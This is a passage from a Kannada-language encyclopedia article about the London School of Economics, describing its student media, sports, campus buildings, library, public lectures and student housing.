ಶಾಖೆ ಮತ್ತು ಯಶಸ್ವಿ ಮಾಧ್ಯಮ ಸಮೂಹವಿದೆ. ಮಾಧ್ಯಮ ಸಮೂಹವು ತನ್ನದೇ ಆದ ಇತಿಹಾಸ ಮತ್ತು ಗುರುತನ್ನು ಹೊಂದಿರುವ ನಾಲ್ಕು ಪ್ರತ್ಯೇಕ ಅಭಿವ್ಯಕ್ತಿಗಳ ಸಂಗ್ರಹವಾಗಿದೆ. ಶೈಕ್ಷಣಿಕ ಅವಧಿಯಲ್ಲಿ ಪ್ರತಿ ಮಂಗಳವಾರದಂದು ವಿದ್ಯಾರ್ಥಿಗಳ ಸುದ್ದಿಪತ್ರವಾದ ''ದಿ ಬೀವರ್'' ಅನ್ನು ಪ್ರಕಟಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಅದು ರಾಷ್ಟ್ರದಲ್ಲಿನ ಅತೀ ಹಳೆಯ ಸುದ್ದಿಪತ್ರಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಒಕ್ಕೂಟದ ರೇಡಿಯೋ ಕೇಂದ್ರವಾದ'' ಪಲ್ಸ್!'' ಎನ್ನುವುದು ೧೯೯೯ ರಿಂದ ಅಸ್ತಿತ್ವದಲ್ಲಿದ್ದು, ಟೆಲಿವಿಷನ್ ಕೇಂದ್ರವಾದ ''ಲೂಸ್ ಟೆಲಿವಿಷನ್'' ೨೦೦೫ ರಿಂದ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ. ಬ್ರಿಟನ್ನಿನ ಅತ್ಯಂತ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿ ಪ್ರಕಟಣೆಯಾದ ''ಕ್ಲೇರ್ ಮಾರ್ಕೆಟ್ ರಿವ್ಯೂ'' ಅನ್ನು 2008 ರಲ್ಲಿ ಪುನರುಜ್ಜೀವನಗೊಳಿಸಲಾಯಿತು ಮತ್ತು ಅದು ರಾಷ್ಟ್ರೀಯ ಪ್ರಶಸ್ತಿಗಳನ್ನೂ ಸಹ ಗಳಿಸಿತು. ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಒಕ್ಕೂಟವು ಪ್ರಕಟಿಸುವ ''ಲಂಡನ್ ಸ್ಟೂಡೆಂಟ್'' ಅನ್ನೂ ಸಹ ವಿದ್ಯಾರ್ಥಿಗಳು ನೋಡಬಹುದು. ವಿವಿಧ ರೂಪಗಳಲ್ಲಿ, 1980 ರಿಂದ ಆರ್‌ಎಜಿ ವೀಕ್ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ, ಅದನ್ನು ಆಗಿನ ವಿದ್ಯಾರ್ಥಿ ಒಕ್ಕೂಟದ ಮನರಂಜನೆಗಳ ಅಧಿಕಾರಿಯವರಾಗಿದ್ದ ಮತ್ತು ಈಗಿನ ನ್ಯೂಜಿಲೆಂಡ್ ಎಂಪಿಯವರಾದ ಟಿಮ್ ಬಾರ್ನೆಟ್ ನಿರ್ವಹಣೆ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಎಲ್‌ಎಸ್‌ಇಎಸ್‌ಯು ನೊಂದಿಗೆ ಸಂಯೋಜಿತವಾಗಿರುವ ಎಲ್‌ಎಸ್‌ಇ ಅಥ್ಲೆಟಿಕ್ಸ್ ಒಕ್ಕೂಟವು ವಿಶ್ವವಿದ್ಯಾನಿಲಯದೊಳಗಿನ ಎಲ್ಲಾ ಕ್ರೀಡಾ ಚಟುವಟಿಕೆಗಳಿಗೆ ಜವಾಬ್ದಾರಿಯಾಗಿರುವ ಸಂಘವಾಗಿದೆ. ಇದು ಬ್ರಿಟಿಷ್ ಯೂನಿವರ್ಸಿಟೀಸ್ &amp; ಕಾಲೇಜಸ್ ಸ್ಟೋರ್ಟ್ (ಬಿಯುಸಿಎಸ್) ನ ಸದಸ್ಯವಾಗಿದೆ. ಆಕ್ಸ್‌ಫರ್ಡ್ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಲ್ಲಿ ಕ್ರೀಡಾ ಶ್ರೇಷ್ಠತೆಗಾಗಿ ನೀಡಲಾಗುವ "ಬ್ಲೂಸ್" ಮನ್ನಣೆಗೆ ಪ್ರತಿಯಾಗಿ, ಎಲ್‌ಎಸ್‌ಇಯಲ್ಲಿ ಮಹೋನ್ನತ ಕ್ರೀಡಾಪಟುಗಳಿಗೆ "ಪರ್ಪಲ್ಸ್" ನೀಡಿ ಗೌರವಿಸಲಾಗುತ್ತದೆ. == ಸ್ಥಾನ ಮತ್ತು ಕ್ಯಾಂಪಸ್ ಜೀವನ == [[File:LschoolE.jpg|thumb|ಹೌಟನ್ ಸ್ಟ್ರೀಟ್ ನೋಟ]] [[File:LSE-mosa.jpg|thumb|ಸೈಂಟ್ ಕ್ಲೆಮೆಂಟ್ಸ್ ಕಟ್ಟಡ]] ಎಲ್‌ಎಸ್‌ಇಯು ಪ್ರಸ್ತುತ ಕ್ಲೇರ್ ಮಾರ್ಕೆಟ್ ನಲ್ಲಿರುವ ಮಧ್ಯ ಲಂಡನ್ ಕ್ಯಾಂಪಸ್ ಮತ್ತು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನಲ್ಲಿನ ಹೂಟನ್ ಸ್ಟ್ರೀಟ್, ಆಲ್ಡ್‌ವಿಚ್ ನಲ್ಲಿನ ಮತ್ತು ರಾಯಲ್ ಕೋರ್ಟ್ಸ್ ಆಫ್ ಜಸ್ಟೀಸ್ ಹಾಗೂ ಟೆಂಪಲ್ ಬಾರ್ ಪಕ್ಕದ ಕ್ಯಾಂಪಸ್‌ಗೆ 1902 ರಲ್ಲಿ ಸ್ಥಳಾಂತರಗೊಂಡಿತು. 1920 ರಲ್ಲಿ, ಕಿಂಗ್ ಜಾರ್ಜ್ V ಅವರು ಎಲ್‌ಎಸ್‌ಇಯ ಮೂಲಕ ಕಟ್ಟಡವಾದ ಓಲ್ಡ್ ಬಿಲ್ಡಿಂಗ್‌ಗೆ ಶಂಕುಸ್ಥಾಪನೆಯನ್ನು ನೆರವೇರಿಸಿದರು. ಶಾಲೆಯು ಕ್ರಮೇಣ ಪಕ್ಕದ ಕಟ್ಟಡಗಳನ್ನು ಸ್ವಾಧೀನಕ್ಕೆ ತೆಗೆದುಕೊಂಡು, ಕಿಂಗ್ಸ್‌ವೇ ಮತ್ತು ರಾಯಲ್ ಕೋರ್ಟ್ ಆಫ್ ಜಸ್ಟೀಸ್ ನಡುವಿನ ಬಹುತೇಕ ನಿರಂತರ ಕ್ಯಾಂಪಸ್ ಅನ್ನು ನಿರ್ಮಾಣ ಮಾಡಿತು. ಇಂದು, ಕ್ಯಾಂಪಸ್ ಸುಮಾರು ಮೂವತ್ತು ಕಟ್ಟಡಗಳನ್ನು ಒಳಗೊಂಡಿದೆ, ಅವುಗಳ ನಡುವಿನ ಸಂಪರ್ಕವನ್ನು ಆಡ್-ಹಾಕ್ ಆಧಾರದ ಮೇಲೆ ಸ್ಥಾಪಿಸಲಾಗಿದ್ದು, ಅದು ಕೆಲವೊಮ್ಮೆ ಗೊಂದಲಗೊಳಿಸುತ್ತದೆ. ಕಟ್ಟಡದ ಮಹಡಿಯ ಮಟ್ಟು ಯಾವಾಗಲೂ ಸಮಾನವಾಗಿರದೇ ಇದ್ದು, ಸಭಾಂಗಣದ ಮಾರ್ಗವನ್ನು ದಾಟಿದ ಬಳಿಕ ವ್ಯಕ್ತಿಗಳು ಬೇರೊಂದು "ಮಹಡಿ"ಯಲ್ಲಿರುವುವಂತೆ ತೋರುತ್ತದೆ. ಹಲವು ಕಟ್ಟಡಗಳನ್ನು ಸಂಪರ್ಕಿಸಲು ಮೇಲ್ಭಾಗದ ಮಹಡಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿರುವ ಸರಣಿ ವಿಸ್ತರಣೆ ಸೇತುವೆಗಳನ್ನು ಸಹ ಕ್ಯಾಂಪಸ್ ಒಳಗೊಂಡಿದೆ. ಶಾಲೆಯು ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು ದಾನ ನೀಡಿರುವ ಹತ್ತು ಹಲವು ಒಂದೋ ಪ್ರಾಣಿಗಳು ಇಲ್ಲವೇ ಅತೀ ಯಥಾರ್ಥವಾದ ವಿಗ್ರಹಗಳನ್ನು ಹೊಂದಿದೆ. ಆಲ್ಡ್‌ವಿಚ್‌ನಲ್ಲಿನ ಕನಾಟ್ ಮತ್ತು ಕ್ಲೆಮೆಂಟ್ ಹೌಸ್‌ಗಳ ಮರು ಅಭಿವೃದ್ಧಿ ಮತ್ತು ಇದೀಗ ಎಲ್‌ಎಸ್ಇ ಮಾಲೀಕತ್ವದ, ಹಿಂದೆ ದಶಕಗಳ ಕಾಲ ಕ್ಯಾಂಪಸ್‌ಗೆ ಆಶ್ರಯ ನೀಡಿದ ಜಾರ್ಜ್ IV ಪಬ್ಲಿಕ್ ಹೌಸ್ ಅನ್ನು ಒಳಗೊಂಡು ಕಟ್ಟಡಗಳ ಖರೀದಿಯಂತಹ ಕಾರ್ಯಗಳ ಮೂಲಕ ಹಿಂದಿನ ನಿರ್ದೇಶಕರಾದ ಆಂಥೋನಿ ಗಿಡ್ಡೆನ್ಸ್ (1996–2003) ಅವರ ನೇತೃತ್ವದಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯು ನವೀಕರಣಗೊಂಡಿತು. ಬ್ರಿಟಿಷ್ ಲೈಬ್ರರಿ ಆಫ್ ಪೊಲಿಟಿಕಲ್ ಮತ್ತು ಎಕನಾಮಿಕ್ ಸೈನ್ಸ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಲಯೋನೆಲ್ ರಿಬ್ಬನ್ಸ್ ಬಿಲ್ಡಿಂಗ್‌ನ ಅನ್ನು £35 ಮಿಲಿಯನ್ ವೆಚ್ಚದಲ್ಲಿ ನವೀಕರಿಸುವಿಕೆ, ಓಲ್ಡ್ ಬಿಲ್ಡಿಂಗ್‌ನಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇಯ ಲೈಬ್ರರಿ ಮತ್ತು ಹೊಚ್ಚ ಹೊಸತಾದ ವಿದ್ಯಾರ್ಥಿಗಳ ಸೇವಾ ಕೇಂದ್ರ ಜೊತೆಗೆ ಹೂಟನ್ ಸ್ಟ್ರೀಟ್ ಮತ್ತು ಆಲ್ಡ್‌ವಿಚ್ ಜಂಕ್ಷನ್‌ನಲ್ಲಿ ಎಲ್‌ಎಸ್‌ಇ ಗ್ಯಾರಿಕ್ ಇವುಗಳು ಇತ್ತೀಚಿನ ಯೋಜನೆಗಳಲ್ಲಿ ಸೇರಿದೆ. 2009 ರಲ್ಲಿ, ಶಾಲೆಯು ಲಿಂಕೋಲನ್ಸ್ ಇನ್ ಫೀಲ್ಡ್ಸ್‌ನಲ್ಲಿನ ಸಾರ್ಡಿನಿಯಾ ಹೌಸ್ ಅನ್ನು ಮತ್ತು ಪಾರಿಶ್ ಹಾಲ್ ಪಕ್ಕದಲ್ಲಿರುವ ''ಯೆ ಓಲ್ಡೆ ವೈಟ್ ಹಾರ್ಸ್'' ಸಾರ್ವಜನಿಕ ಕಟ್ಟಡವನ್ನು ಎಸ್ಟೇಟ್‌ಗೆ ಹೊಸ ಸೇರ್ಪಡೆಗಳಾಗಿ ಖರೀದಿಸಿತು. 2010 ರಿಂದ, ನ್ಯೂ ಕೋರ್ಟ್‌ನಲ್ಲಿ ಲೈಬ್ರರಿ ಹಿಂದಿನ ಕಟ್ಟಡಗಳನ್ನು ಗುತ್ತಿಗೆಗೆ ನೀಡಿತು ಮತ್ತು 2010 ರ ಸೆಪ್ಪೆಂಬರ್‌ನಲ್ಲಿ ಕ್ವೀನ್ಸ್ ಹೌಸ್‌ನಲ್ಲಿನ ಲಿಂಕೋಲನ್ಸ್ ಇನ್ ಫೀಲ್ಡ್ಸ್‌ನಲ್ಲಿ ವೈದ್ಯಕೀಯ ಕೇಂದ್ರವನ್ನು ತೆರೆಯಲಿದೆ. ಹೊಸ ಶೈಕ್ಷಣಿಕ ಕಟ್ಟಡ (ಕಿಂಗ್ಸ್‌ವೇನಲ್ಲಿರುವ ಹಿಂದಿನ ಪಬ್ಲಿಕ್ ಟ್ರಸ್ಟ್ ಬಿಲ್ಡಿಂಗ್) ವು ಇಂಗ್ಲೆಂಡಿನಲ್ಲಿಯೇ ಹೆಚ್ಚು ಪರಿಸರ ಸ್ನೇಹಿ ಕಟ್ಟಡಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಲಿಂಕೋಲನ್ಸ್ ಕಡೆ ಪ್ರವೇಶದ್ವಾರವು ಮುಖ ಮಾಡಿರುವುದರೊಂದಿಗೆ, ಹೊಸ ಕಟ್ಟಡವು ನಾಲ್ಕು ಹೊಸ ಬೋಧನೆ ಥಿಯೇಟರ್‌ಗಳು, ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಮತ್ತು ಕಾನೂನು ವಿಭಾಗ, ಕಂಪ್ಯೂಟರ್ ಮತ್ತು ಅಧ್ಯಯನ ಸೌಕರ್ಯಗಳನ್ನು ಒಳಗೊಂಡು ಕ್ಯಾಂಪಸ್‌ನ ಗಾತ್ರವನ್ನು ಆಕರ್ಷಕವಾಗಿ ಹೆಚ್ಚಿಸಿದೆ. ರಾಜಕೀಯ ಮತ್ತು ಅರ್ಥಶಾಸ್ತ್ರ ವಿಜ್ಞಾನದ ಬ್ರಿಟಿಷ್ ಲೈಬ್ರರಿ (ಬಿಎಲ್‌ಪಿಇಎಸ್) ಯು ತನ್ನ ಕಪಾಟುಗಳಲ್ಲಿ 4.7 ಮಿಲಿಯನ್ ಸಂಪುಟಗಳಿಗೂ ಹೆಚ್ಚು ಪುಸ್ತಕಗಳನ್ನು ಒಳಗೊಂಡು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನಕ್ಕೆ ಮಾತ್ರ ಸಮರ್ಪಿತವಾಗಿರುವ ವಿಶ್ವದ ಅತೀ ದೊಡ್ಡ ಗ್ರಂಥಾಲಯವಾಗಿದೆ. ಕಿಂಗ್ಸ್ ಕ್ರಾಸ್‌ನಲ್ಲಿರುವ ಬ್ರಿಟಿಷ್ ಲೈಬ್ರರಿಯ ಬಳಿಕ ಇದು ಬ್ರಿಟನ್ನಿನ ಎರಡನೆಯ ಅತೀ ದೊಡ್ಡ ಏಕೈಕ ಅಸ್ತಿತ್ವದ ಗ್ರಂಥಾಲಯವಾಗಿದೆ.<ref>{{Cite web |url=http://www.lse.ac.uk/library/guides/VisitorsLibraryGuide.pdf |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2009-03-27 |archive-url=https://web.archive.org/web/20090327092321/http://www.lse.ac.uk/library/guides/VisitorsLibraryGuide.pdf |url-status=dead }}</ref> ಗಮನಿಸಬೇಕಾದ ಇತರ ಕಟ್ಟಡಗಳೆಂದರೆ 999 ವ್ಯಕ್ತಿಗಳಿಗೆ ಸ್ಥಳಾವಕಾಶವುಳ್ಳ ಶಾಲೆಯ ಮುಖ್ಯ ಭೋದನಾ ಥಿಯೇಟರ್ ಪೀಕಾಕ್ ಥಿಯೇಟರ್ ಆಗಿದ್ದು, ಅದು ರಾತ್ರಿಯ ವೇಳೆಗೆ ಸಾಡ್ಲರ್ ವೆಲ್ಸ್ ನ ಪಶ್ಚಿಮ ಭಾಗದ ಕಾರ್ಯಕೇಂದ್ರವಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತದೆ. ಸ್ಥಳವು ಸೊಸೈಟಿ ಆಫ್ ಲಂಡನ್ ಥಿಯೇಟರ್‌ನ ಸದಸ್ಯವಾಗಿದೆ ಮತ್ತು ಹಲವು ನೃತ್ಯ, ಸಂಗೀತ ಮತ್ತು ನಾಟಕ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಆಯೋಜಿಸಿದೆ, ಈ ಜೊತೆಗೆ ಎಲ್‌ಎಸ್ಇ ಸಾರ್ವಜನಿಕ ಉಪನ್ಯಾಸಗಳು ಮತ್ತು ಚರ್ಚೆಗಳ ಕಾರ್ಯಕೇಂದ್ರವಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದೆ. ಎಲ್ಎಸ್‌ಇಯು ಅದರ ಸಾರ್ವಜನಿಕ ಉಪನ್ಯಾಸಗಳ ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ, ವಿದ್ಯಾರ್ಥಿಗಳು, ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು ಮತ್ತು ಸಾರ್ವಜನಿಕರಿಗೆ ಮುಕ್ತವಾಗಿರುವ ಎಲ್ಎಸ್‌ಇ ಕಾರ್ಯಕ್ರಮಗಳ ಕಚೇರಿಯು ಇದನ್ನು ಆಯೋಜಿಸುತ್ತದೆ. ಈ ವಾರದ ಉಪನ್ಯಾಸಗಳನ್ನು ನಿಯತವಾಗಿ ರಾಯಭಾರಿಗಳು, ಲೇಖಕರು, ಸಿಇಓಗಳು, ಪಾರ್ಲಿಮೆಂಟಿನ ಸದಸ್ಯರು, ಪ್ರಮುಖ ಪ್ರೊಫೆಸರ್‌ಗಳು ಮತ್ತು ರಾಷ್ಟ್ರದ ಮುಖ್ಯಸ್ಥರನ್ನು ಒಳಗೊಂಡು ಹೆಸರಾಂತ ರಾಷ್ಟ್ರೀಯ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ಭಾಷಣಕಾರರು ನೀಡುತ್ತಾರೆ. ಪ್ರಮುಖವಾದ ಭಾಷಣಕಾರರಲ್ಲಿ ಗಾರ್ಡನ್ ಬ್ರೌನ್, ದಿಮಿತ್ರಿ ಮೆಡ್ವೆಡೇವ್, ಜಾನ್ ಅಟ್ಟಾ ಮಿಲ್ಸ್, ಅಲಿಸ್ಟರ್ ಡಾರ್ಲಿಂಗ್, [[ಜಾರ್ಜ್‌ ಸೊರೊಸ್‌|ಜಾರ್ಜ್ ಸೊರೋಸ್]], ಡೇವಿಡ್ ಕ್ಯಾಮರೂನ್, ಕೇವಿನ್ ರುಡ್, [[ಬಿಲ್ ಕ್ಲಿಂಟನ್]], ಜಾರ್ಜ್ ಓಸ್ಬೋರ್ನ್, ಲಾರ್ಡ್ ಸ್ಟರ್ನ್, ಚೆರಿ ಬೂತ್, ಬೆನ್ ಬೆರ್ನೇಕ್, ಜಾನ್ ಮೇಜರ್, ಮೇರಿ ಮ್ಯಾಕ್‌ಸ್ಲೀ, ರೊವಾನ್ ವಿಲಿಯಮ್ಸ್, ಅಲಾನ್ ಗ್ರೀನ್‌ಸ್ಪಾನ್, ರೋಬರ್ಟ್ ಪೆಸ್ಟನ್, ವಿಲ್ ಹಟ್ಟನ್, ಹಿಲರಿ ಬೆನ್, ಹಜೆಲ್ ಬ್ಲೀರ್ಸ್, ರಿಚರ್ಡ್ ಲ್ಯಾಂಬರ್ಟ್, ಜೋಸ್‌ಚ್ಕಾ ಫಿಶರ್. ಜಾಕ್ ಸ್ಟ್ರಾ, ಬರೋನೆಸ್ ಥ್ಯಾಚರ್, ಆರ್ಚ್‌ಬಿಷಪ್ ಡೆಸ್ಮಂಡ್ ಟುಟು, ಜೆನ್ಸ್ ಲೆಹ್ಮನ್, [[ಕೋಫಿ ಅನ್ನಾನ್]], ಟೋನಿ ಬ್ಲೇರ್, ಗೆರ್ಹಾರ್ಡ್ ಶ್ರೋಡರ್, ಜಾನ್ ಲೂಯಿಸ್ ಗಡ್ಡಿಸ್, ಜೋಸೆಎಫ್ ಮೀಗನ್, ಕೋಸ್ಟಸ್ ಸಿಮಿಟಿಸ್, ಲುಜ್ ಇನಾಸಿಯೋ ಲುಲಾ ಡಾ ಸಿಲ್ವಾ, ಲೀ ಸೀನ್ ಲೂಂಗ್, ಮಿಲ್ಟನ್ ಫ್ರೀಡ್‌ಮನ್, ಜೆಫ್ರಿ ಸಾಚ್ಸ್, ವೈಸೆಂಟ್ ಫಾಕ್ಸ್, [[ನೋಅಮ್ ಚಾಮ್ಸ್ಕೀ|ನೋಮ್ ಚೋಮ್‌ಸ್ಕೀ]] ಮತ್ತು [[ನೆಲ್ಸನ್ ಮಂಡೇಲಾ]] ಸೇರಿದ್ದಾರೆ. ಎಲ್‌ಎಸ್ಇಯು ಎಲ್ಎಸ್‌ಇ ಲೈವ್ ಎಂಬ ಸಾರ್ವಜನಿಕ ಉಪನ್ಯಾಸಗಳ ಸರಣಿಯನ್ನು ಪರಿಚಯಿಸಿತು, ಅದನ್ನು ಇಂಟರ್ನೆಟ್ ಮುಖಾಂತರ ನೇರವಾಗಿ ಪ್ರಸಾರ ಮಾಡಲಾಗುತ್ತದೆ ಹಾಗೂ ಅದು ಎಲ್‌ಎಸ್‌ಇ ಸಮುದಾಯಕ್ಕೆ ಮತ್ತು ಅಪರೂಪಕ್ಕೆ ಸಾರ್ವಜನಿಕರಿಗೂ ಲಭ್ಯವಿರುತ್ತದೆ. 2008 ರಲ್ಲಿ ಪರಿಚಯಿಸಲಾದ, ಸರಣಿಯು [[ಜಾರ್ಜ್‌ ಸೊರೊಸ್‌|ಜಾರ್ಜ್ ಸೋರೋಸ್]], ಥಾಮಸ್ ಎಲ್ ಫ್ರೀಡ್ಮನ್, ಫರೀದ್ ಜಕಾರಿಯಾ ಮತ್ತು ತೀರಾ ಇತ್ತೀಚೆಗೆ ಅಮೇರಿಕಾದ ಫೆಡರಲ್ ರಿಸರ್ವ್ ಬ್ಯಾಂಕ್‌ನ ಅಧ್ಯಕ್ಷರಾದ ಬೆನ್ ಬರ್ನೇಕ್ ಅವರಂತಹ ಹಲವು ಪ್ರಮುಖ ಭಾಷಣಕಾರರನ್ನು ಕಂಡಿದೆ.<ref>{{cite web |title=LSE Live: LSE Live Podcast |url=http://www.lse.ac.uk/collections/LSEPublicLecturesAndEvents/live/LSELive_previous.htm |access-date=2010-10-08 |archive-date=2009-02-13 |archive-url=https://web.archive.org/web/20090213152046/http://www2.lse.ac.uk/collections/LSEPublicLecturesAndEvents/live/LSELive_previous.htm |url-status=dead }}</ref> ಎಲ್‌ಎಸ್ಇಯು ಹಲವು ಸಂಗೀತ ಕಚೇರಿಗಳು ಮತ್ತು ನಾಟಕಗಳನ್ನು ಆಯೋಜಿಸುತ್ತದೆ, ಅದರಲ್ಲಿ ವೀ ಆರ್ ಸೈಂಟಿಸ್ಟ್ಸ್, ವಿಲ್ಲಿ, ರಾಬಿನ್ ವಿಲಿಯಮ್ಸ್, ಅಲನ್ ಫ್ಲೆಚರ್ (ನೈಬರ್ಸ್ ಡಾ.ಕಾರ್ಲ್ ಕೆನ್ನೆಡಿ ಎಂದು ಹೆಸರುವಾಸಿಯಾದ) ಮತ್ತು ಟಿಮ್ ವೆಸ್ಟ್‌ವುಡ್ ಅವರುಗಳು ಹಲವು ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ ಗಾಯನದೊಂದಿಗೆ ಪ್ರದರ್ಶಿಸುತ್ತಾರೆ. == ವಸತಿ == [[File:NorthumberlandHouse.jpg|thumb|right|ನಾರ್ಥಂಬರ್ಲ್ಯಾಂಡ್ ಹೌಸ್]] ಎಲ್ಎಸ್‌ಇ ಮಾಲೀಕತ್ವದ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಹತ್ತು ವಸತಿ ಸೌಲಭ್ಯಗಳು ಮತ್ತು ಇನ್ನೊಂದನ್ನು ಶಾಫ್ಟ್ಸ್‌ಬರಿ ಸ್ಟೂಡೆಂಟ್ ಹೌಸಿಂಗ್ ನಿರ್ವಹಣೆ ಮಾಡುವುದನ್ನು ಒಳಗೊಂಡು ಲಂಡನ್ ಕೇಂದ್ರಭಾಗದಲ್ಲಿ ಮತ್ತು ಅದರ ಸುತ್ತಮುತ್ತಲು ಹನ್ನೊಂದು ವಸತಿ ನಿಲಯಗಳನ್ನು ಎಲ್‌ಎಸ್‌ಇ ನಿರ್ವಹಣೆ ಮಾಡುತ್ತಿದೆ. ಒಟ್ಟಾರೆಯಾಗಿ, ಈ ವಸತಿನಿಲಯಗಳು 3500 ಕ್ಕೂ ಹೆಚ್ಚು ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಸ್ಥಳಾವಕಾಶ ನೀಡಿದೆ.<ref>{{cite web |url=http://www.lse.ac.uk/accommodation/RES_intro.htm |title=Accommodation - Accommodation for students - Life at LSE - Home |publisher=Lse.ac.uk |date=2010-02-16 |accessdate=2010-04-26 |archive-date=2002-12-14 |archive-url=https://web.archive.org/web/20021214171651/http://www.lse.ac.uk/accommodation/RES_intro.htm |url-status=dead }}</ref> ಹೆಚ್ಚುವರಿಯಾಗಿ, ಸುಮಾರು ಎಂಟು ಅಂತರಕಾಲೇಜು ನಿಲಯಗಳಿದ್ದು, ಅವುಗಳನ್ನು ಲಂಡನ್ ಯೂನಿವರ್ಸಿಟಿ ಯ ಅಂಗ ಕಾಲೇಜುಗಳೊಂದಿಗೆ ಹಂಚಿಕೊಳ್ಳಲಾಗಿದೆ ಮತ್ತು ಅವುಗಳು ಶಾಲೆಯ ಮೊದಲ ವರ್ಷದ ಸೇರ್ಪಡೆಯು ಸುಮಾರು 25% ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಸ್ಥಳಾವಕಾಶ ನೀಡುತ್ತದೆ. ಶಾಲೆಯು ವಿದ್ಯಾರ್ಥಿಗಳ ಪ್ರಸ್ತುತ ವಿಳಾಸ ಯಾವುದೇ ಆಗಿದ್ದರೂ ಎಲ್ಲಾ ಪ್ರಥಮ-ವರ್ಷದ ಪದವಿಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ವಸತಿಯ ಖಾತ್ರಿಯನ್ನು ನೀಡುತ್ತದೆ. ಕೆಲವು ನಿರ್ದಿಷ್ಟ ವಸತಿ ನಿಲಯಗಳು ಸ್ನಾತಕೋತ್ತರರ ಇರುವಿಕೆಗೆ ಮೀಸಲಾಗಿರುವ ಮೂಲಕ ಶಾಲೆಯ ಬೃಹತ್ ಪ್ರಮಾಣದ ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೂ ಸಹ ಸೌಕರ್ಯವನ್ನು ಒದಗಿಸಲಾಗುತ್ತದೆ. ಯಾವುದೇ ವಸತಿನಿಲಯಗಳು ಹೂಟನ್ ರಸ್ತೆಯ ಕ್ಯಾಂಪಸ್‌ನಲ್ಲಿ ಇಲ್ಲದಿದ್ದರೂ, ಕೋವೆಂಟ್ ಗಾರ್ಡನ್ ನಲ್ಲಿರುವ ಶಾಲೆಯಿಂದ ಐದು-ನಿಮಿಷದ ಕಾಲ್ನಡಿಗೆಯ ಹತ್ತಿರದಲ್ಲೇ ಗ್ರೋಸ್ವೆನರ್ ಹೌಸ್ ಇದ್ದು, ದೂರದ ವಸತಿ ನಿಲಯಗಳಾದ (ನಟ್‌ಫರ್ಡ್ ಮತ್ತು ಬಟ್ಲರ್ಸ್ ವಾರ್ಫ್ ಗಳು ಟ್ಯೂಬ್ ಅಥವಾ ಬಸ್ ಮೂಲಕ ಸುಮಾರು 45 ನಿಮಿಷಗಳ ಪ್ರಯಾಣ ದೂರದಲ್ಲಿವೆ.). ಪ್ರತಿಯೊಂದು ವಸತಿ ನಿಲಯಗಳು ದೇಶೀಯ ಮತ್ತು ವಿದೇಶೀಯ, ಪುರುಷ ಮತ್ತು ಸ್ತ್ರೀಯರು, ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಪದವಿಪೂರ್ವ ಮತ್ತು ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳ ಮಿಶ್ರಣವನ್ನು ಹೊಂದಿದೆ. ಹೊಸ ಪದವಿ-ಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳು (ಸಾಮಾನ್ಯ ಪಠ್ಯಕ್ರಮದ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ಒಳಗೊಂಡು) ಎಲ್ಲಾ ಜಾಗದಲ್ಲಿ ಸರಿಸುಮಾರು 36% ಭಾಗವನ್ನು ವ್ಯಾಪಿಸಿದ್ದರೆ, ಸ್ನಾತಕೋತ್ತರರು ಸುಮಾರು 56% ಮತ್ತು ಮುಂದುವರಿಕೆ ವಿದ್ಯಾರ್ಥಿಗಳು ಸುಮಾರು 8% ಭಾಗವನ್ನು ವ್ಯಾಪಿಸಿದ್ದಾರೆ. ಅತೀ ದೊಡ್ದದಾದ ವಸತಿನಿಲಯವಾದ ಬ್ಯಾಕ್‌ಸೈಡ್ ಅನ್ನು 1966 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಅದು ಎಂಟು ಮಹಡಿಗಳಾದ್ಯಂತ 618 ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಸ್ಥಳಾವಕಾಶ ನೀಡಿದೆ ಮತ್ತು ಅದು ದಕ್ಷಿಣ ನದಿಯ ದಂಡೆಯ ಮೇಲಿರುವ ಜನಪ್ರಿಯ ಟಾಟಾ ಮಾಡರ್ನ್ ಕಲಾ ಗ್ಯಾಲರಿಯ ಹಿಂದಿನ ಭಾಗದಲ್ಲಿ ನೆಲಸಿರುವ ರಿವರ್ ಥೇಮ್ಸ್‌ಗೆ ಹೊರತಾಗಿದೆ. ಕ್ಯಾಂಪಸ್‌ಗೆ ಸುಮಾರು 10 ನಿಮಿಷಗಳ ದೂರದಲ್ಲಿರುವ ಹೈ ಹೋಲ್‌ಬೋರ್ನ್ ಅನ್ನು 1995 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು ಮತ್ತು ಅದು 